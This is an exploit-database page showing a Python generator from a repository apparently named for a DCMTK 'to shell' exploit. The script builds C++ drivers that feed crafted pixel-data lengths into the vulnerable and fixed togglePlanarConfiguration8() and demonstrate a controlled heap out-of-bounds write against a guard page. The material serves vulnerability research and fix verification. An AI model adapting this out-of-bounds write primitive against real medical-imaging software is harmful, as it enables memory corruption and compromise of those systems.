Exploit databaseDownload repository ZIP
GH-77b084c651f84d76fe59d880f4600f96
genaforvena/mishe-tauftauf2shell
Sources for CVE-2026-109618
411 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files5
genaforvena/mishe-tauftauf2shellRevision cda7d4f9e1ed
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
lab/frontier/dcmtk2shell/gen_driver.py
Python · 10,210 bytes#!/usr/bin/env python3
"""Generate verbatim-pin drivers for DCMTK CVE-2026-133168.
Aborts on any pin drift. The vulnerable and fixed togglePlanarConfiguration8()
bodies are copied verbatim from the hash-pinned upstream files under #line, so
the compiled code is the pinned source, not a paraphrase.
"""
import hashlib
import pathlib
import sys
ROOT = pathlib.Path(__file__).resolve().parent
SRC = ROOT / "src"
PINS = {
"djcodece_v3.7.1.cc": "e6577f1f430a5e6cb91cb74274ebd01d643a159148b585fce75f07953a76cc60",
"djcodece_fixed.cc": "e76e74ee85c84688f2e37b6c8deb0ffb2e044c749d959c790c59281f45194218",
"fix_c22836c.patch": "ba676231a705e2392f2d064606229758c327235d495ea45ee601cf33156d277a",
}
MARKER = "OFCondition DJCodecEncoder::togglePlanarConfiguration8("
PRELUDE = r'''// Generated by gen_driver.py. Do not edit; edit the pin files instead.
#include <csignal>
#include <cstdio>
#include <cstring>
#include <cstddef>
#include <cstdlib>
#include <cstdint>
#include <sys/mman.h>
#include <unistd.h>
typedef unsigned char Uint8;
typedef unsigned short Uint16;
typedef int OFCondition;
static const OFCondition EC_Normal = 0;
static const OFCondition EC_IllegalParameter = 1;
static const OFCondition EC_MemoryExhausted = 2;
#define OFstatic_cast(t, x) static_cast<t>(x)
class DJCodecEncoder {
public:
static OFCondition togglePlanarConfiguration8(
Uint8 *pixelData, const size_t numValues, const size_t numberOfFrames,
const Uint16 columns, const Uint16 rows, const Uint16 samplesPerPixel,
const Uint16 oldPlanarConfig);
};
#ifndef NO_ARENA
static const size_t ARENA_LEN = 1u << 20;
static const size_t GUARD_LEN = 4096;
static char *g_arena = NULL;
static size_t g_watch = 0;
static int g_place = 0;
static void segv_handler(int sig) {
(void)sig;
const char msg[] = "guard fault at first past-end write\n";
ssize_t ignored = write(STDERR_FILENO, msg, sizeof(msg) - 1);
(void)ignored;
_exit(139);
}
static void arena_init(void) {
std::signal(SIGSEGV, segv_handler);
g_arena = static_cast<char *>(mmap(NULL, ARENA_LEN + GUARD_LEN,
PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0));
if (g_arena == MAP_FAILED) { std::fprintf(stderr, "mmap failed\n"); std::exit(90); }
if (mprotect(g_arena + ARENA_LEN, GUARD_LEN, PROT_NONE) != 0) {
std::fprintf(stderr, "mprotect failed\n"); std::exit(91);
}
std::memset(g_arena, 0, ARENA_LEN);
}
void *operator new[](std::size_t n) {
if (g_watch != 0 && n == g_watch) {
if (g_place == 1) return g_arena + (ARENA_LEN - n); // end at guard page
return g_arena; // start: 1 MiB collaborator
}
return std::malloc(n ? n : 1);
}
void operator delete[](void *p) noexcept {
uintptr_t a = reinterpret_cast<uintptr_t>(g_arena);
uintptr_t q = reinterpret_cast<uintptr_t>(p);
if (g_arena != NULL && q >= a && q < a + ARENA_LEN) return;
std::free(p);
}
#endif
'''
MAIN = r'''
// ---- driver main (not upstream source) ----
static const size_t COLS = 100;
static const size_t ROWS = 200;
static const size_t SPP = 3;
static const size_t FRAMES = 1;
static const size_t FRAME_SIZE = COLS * ROWS * SPP; // 60000, true per-frame size
// The caller's guard only rejects length < FRAME_SIZE; the DICOM header may declare
// extra PixelData bytes. 80000 keeps every buggy source index in-bounds and chosen.
static const size_t DECLARED_LEN = 80000;
// Buggy stride r_x_rows = r * rows. At r=ROWS-1,c=COLS-1:
// write = ((199*200)+99)*3 + s = 119697 + s
// source= s*20000 + 39899 -> s=0:39899, s=1:59899 (both in-bounds chosen)
static const size_t MARK_OFF_0 = ((ROWS - 1) * ROWS + (COLS - 1)) * SPP; // 119697
static const size_t MARK_OFF_1 = MARK_OFF_0 + 1; // 119698
static const size_t MARK_SRC_0 = (ROWS - 1) * ROWS + (COLS - 1); // 39899
static const size_t MARK_SRC_1 = 20000 + MARK_SRC_0; // 59899
static const unsigned char MARK_0 = 0x5a;
static const unsigned char MARK_1 = 0xa5;
static Uint8 *make_input(unsigned char m0, unsigned char m1, size_t len) {
Uint8 *p = static_cast<Uint8 *>(std::malloc(len));
std::memset(p, 0x7e, len);
p[MARK_SRC_0] = m0;
p[MARK_SRC_1] = m1;
return p;
}
#ifndef NO_ARENA
static void run_instrumented(unsigned char m0, unsigned char m1, int place, size_t declared) {
std::memset(g_arena, 0, ARENA_LEN);
g_watch = declared;
g_place = place;
Uint8 *in = make_input(m0, m1, declared);
OFCondition rc = DJCodecEncoder::togglePlanarConfiguration8(
in, declared, FRAMES, static_cast<Uint16>(COLS), static_cast<Uint16>(ROWS),
static_cast<Uint16>(SPP), 1);
g_watch = 0;
if (rc != EC_Normal) { std::printf("FAIL rc=%d\n", rc); std::exit(1); }
std::free(in);
}
#endif
int main(int argc, char **argv) {
const char *mode = argc > 1 ? argv[1] : "trace";
#ifdef NO_ARENA
if (std::strcmp(mode, "asan_rung3") == 0) {
Uint8 *in = make_input(MARK_0, MARK_1, DECLARED_LEN);
OFCondition rc = DJCodecEncoder::togglePlanarConfiguration8(
in, DECLARED_LEN, FRAMES, static_cast<Uint16>(COLS), static_cast<Uint16>(ROWS),
static_cast<Uint16>(SPP), 1);
std::printf("rc=%d\n", rc);
std::free(in);
return 0;
}
std::fprintf(stderr, "asan build only supports asan_rung3\n");
return 2;
#else
arena_init();
if (std::strcmp(mode, "rung1") == 0) {
run_instrumented(MARK_0, MARK_1, 0, DECLARED_LEN);
unsigned char a = static_cast<unsigned char>(g_arena[MARK_OFF_0]);
unsigned char b = static_cast<unsigned char>(g_arena[MARK_OFF_1]);
std::printf("rung1 dest=px8+%zu src=in+%zu byte=0x%02x\n", MARK_OFF_0, MARK_SRC_0, a);
std::printf("rung1 dest=px8+%zu src=in+%zu byte=0x%02x\n", MARK_OFF_1, MARK_SRC_1, b);
return (a == MARK_0 && b == MARK_1) ? 0 : 1;
}
if (std::strcmp(mode, "rung2") == 0) {
run_instrumented(MARK_0, MARK_1, 0, DECLARED_LEN);
size_t first = DECLARED_LEN;
while (first < ARENA_LEN && g_arena[first] == 0) ++first;
size_t last = ARENA_LEN - 1;
while (last > 0 && g_arena[last] == 0) --last;
std::printf("rung2 alloc=%zu first_oob=%zu max_write=%zu overshoot=%zu\n",
DECLARED_LEN, first, last, last - DECLARED_LEN + 1);
return (first == DECLARED_LEN && last == MARK_OFF_1 + 1) ? 0 : 1;
}
if (std::strcmp(mode, "rung4") == 0) {
run_instrumented(MARK_0, MARK_1, 0, DECLARED_LEN);
unsigned char a = static_cast<unsigned char>(g_arena[MARK_OFF_0]);
unsigned char b = static_cast<unsigned char>(g_arena[MARK_OFF_1]);
std::printf("rung4 chosen dest=px8+%zu=0x%02x dest=px8+%zu=0x%02x\n",
MARK_OFF_0, a, MARK_OFF_1, b);
run_instrumented(0, 0, 0, DECLARED_LEN);
unsigned char z0 = static_cast<unsigned char>(g_arena[MARK_OFF_0]);
unsigned char z1 = static_cast<unsigned char>(g_arena[MARK_OFF_1]);
std::printf("rung4 benign dest=px8+%zu=0x%02x dest=px8+%zu=0x%02x\n",
MARK_OFF_0, z0, MARK_OFF_1, z1);
return (a == MARK_0 && b == MARK_1 && z0 == 0 && z1 == 0) ? 0 : 1;
}
if (std::strcmp(mode, "guard") == 0) {
run_instrumented(MARK_0, MARK_1, 1, DECLARED_LEN);
std::printf("guard no fault\n");
return 1; // should have faulted on the first past-end write
}
if (std::strcmp(mode, "fixed") == 0) {
run_instrumented(MARK_0, MARK_1, 0, FRAME_SIZE);
size_t first = FRAME_SIZE;
while (first < ARENA_LEN && g_arena[first] == 0) ++first;
std::printf("fixed alloc=%zu first_oob=%zu\n", FRAME_SIZE, first);
return (first == ARENA_LEN) ? 0 : 1;
}
if (std::strcmp(mode, "square") == 0) {
const size_t sq = COLS * COLS * SPP; // rows == columns: buggy stride equals correct stride
std::memset(g_arena, 0, ARENA_LEN);
g_watch = sq;
g_place = 0;
Uint8 *in = static_cast<Uint8 *>(std::malloc(sq));
std::memset(in, 0x7e, sq);
OFCondition rc = DJCodecEncoder::togglePlanarConfiguration8(in, sq, FRAMES,
static_cast<Uint16>(COLS), static_cast<Uint16>(COLS), static_cast<Uint16>(SPP), 1);
g_watch = 0;
size_t first = sq;
while (first < ARENA_LEN && g_arena[first] == 0) ++first;
std::printf("square alloc=%zu first_oob=%zu\n", sq, first);
std::free(in);
return (rc == EC_Normal && first == ARENA_LEN) ? 0 : 1;
}
if (std::strcmp(mode, "fixed_reject") == 0) {
std::memset(g_arena, 0, ARENA_LEN);
g_watch = FRAME_SIZE - 1;
g_place = 0;
Uint8 *in = make_input(MARK_0, MARK_1, FRAME_SIZE - 1);
OFCondition rc = DJCodecEncoder::togglePlanarConfiguration8(
in, FRAME_SIZE - 1, FRAMES, static_cast<Uint16>(COLS), static_cast<Uint16>(ROWS),
static_cast<Uint16>(SPP), 1);
g_watch = 0;
size_t first = 0;
while (first < ARENA_LEN && g_arena[first] == 0) ++first;
std::printf("fixed_reject rc=%d first_write=%zu\n", rc, first);
std::free(in);
return (rc == EC_IllegalParameter && first == ARENA_LEN) ? 0 : 1;
}
std::fprintf(stderr, "unknown mode %s\n", mode);
return 2;
#endif
}
'''
def check_pins():
for name, want in PINS.items():
raw = (SRC / name).read_bytes()
got = hashlib.sha256(raw).hexdigest()
if got != want:
sys.exit("PIN DRIFT %s: want %s got %s" % (name, want, got))
def extract(name):
lines = (SRC / name).read_text().splitlines()
start = next(i for i, l in enumerate(lines) if l.startswith(MARKER))
end = next(i for i in range(start + 1, len(lines)) if lines[i] == "}")
return lines[start:end + 1], start + 1
def build(body, lineno, srcname, outname, asan=False):
parts = [PRELUDE]
parts.append('#line %d "%s"\n' % (lineno, srcname))
parts.append("\n".join(body) + "\n")
parts.append(MAIN)
(ROOT / outname).write_text("".join(parts))
print("wrote %s (%d pinned body lines from %s:%d)" % (outname, len(body), srcname, lineno))
def main():
check_pins()
vuln, vline = extract("djcodece_v3.7.1.cc")
fixed, fline = extract("djcodece_fixed.cc")
build(vuln, vline, "djcodece_v3.7.1.cc", "driver_vuln.cpp")
build(fixed, fline, "djcodece_fixed.cc", "driver_fixed.cpp")
build(vuln, vline, "djcodece_v3.7.1.cc", "driver_asan.cpp", asan=True)
print("all pins verified")
if __name__ == "__main__":
main()